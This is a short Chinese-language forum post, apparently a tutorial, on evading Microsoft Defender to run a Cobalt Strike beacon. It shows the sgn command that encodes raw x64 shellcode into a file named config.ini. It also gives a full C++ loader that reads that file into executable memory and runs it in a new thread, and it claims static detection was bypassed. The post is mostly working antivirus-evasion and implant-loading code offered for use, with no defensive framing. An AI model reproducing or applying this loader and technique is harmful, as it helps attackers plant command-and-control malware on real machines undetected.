绕过defender上线cs

月师傅

绕过defender上线cs

一、前言

文件分离执行 可以过掉defender的静态查杀。

二、文件加密

用cs生成一个x64的raw

使用sgn工具对raw文件进行加密

1. sgn.exe -i payload_x64.bin -c 5 -o config.ini

复制代码

三、编写加载器

编写一个加载器

1. #define _CRT_SECURE_NO_WARNINGS
   
2. #include <Windows.h>
   
3. #include <iostream>
   
4. 
   
5. 
   
6. void T(LPCSTR NAME)
   
7. {
   
8. 
   
9.         //读取文件
   
10.         HANDLE hFile = CreateFileA(NAME, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
    
11. 
    
12.         if (hFile == INVALID_HANDLE_VALUE)
    
13.         {
    
14.                 printf("CreateFileA failed: %lu\n", GetLastError());;
    
15. 
    
16. 
    
17.         }
    
18.         DWORD dwSize = 0;
    
19. 
    
20.         dwSize = GetFileSize(hFile, NULL);  //获取文件大小
    
21. 
    
22.         //申请内存
    
23.         LPVOID lpAddress = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
24. 
    
25.         if (lpAddress == NULL)
    
26.         {
    
27.                 printf("VirtualAlloc failed: %lu\n", GetLastError());;
    
28. 
    
29.         }
    
30.         DWORD dwRead = 0;
    
31.         //读取文件到内存
    
32.         ReadFile(hFile, lpAddress, dwSize, &dwRead, 0);
    
33.         //创建线程
    
34. 
    
35.         HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)lpAddress, NULL, 0, NULL);
    
36. 
    
37.         //等待线程执行完毕
    
38.         WaitForSingleObject(hThread, INFINITE);
    
39. }
    
40. 
    
41. 
    
42. 
    
43. 
    
44. int main(int argc, char* argv[])
    
45. {
    
46. 
    
47.         if (argc < 2) {
    
48.                 printf("参数不对");
    
49.                 return 1;
    
50.         }
    
51.         T(argv[1]);
    
52. 
    
53.         return 0;
    
54. }

复制代码

静态查杀过了。

成功上线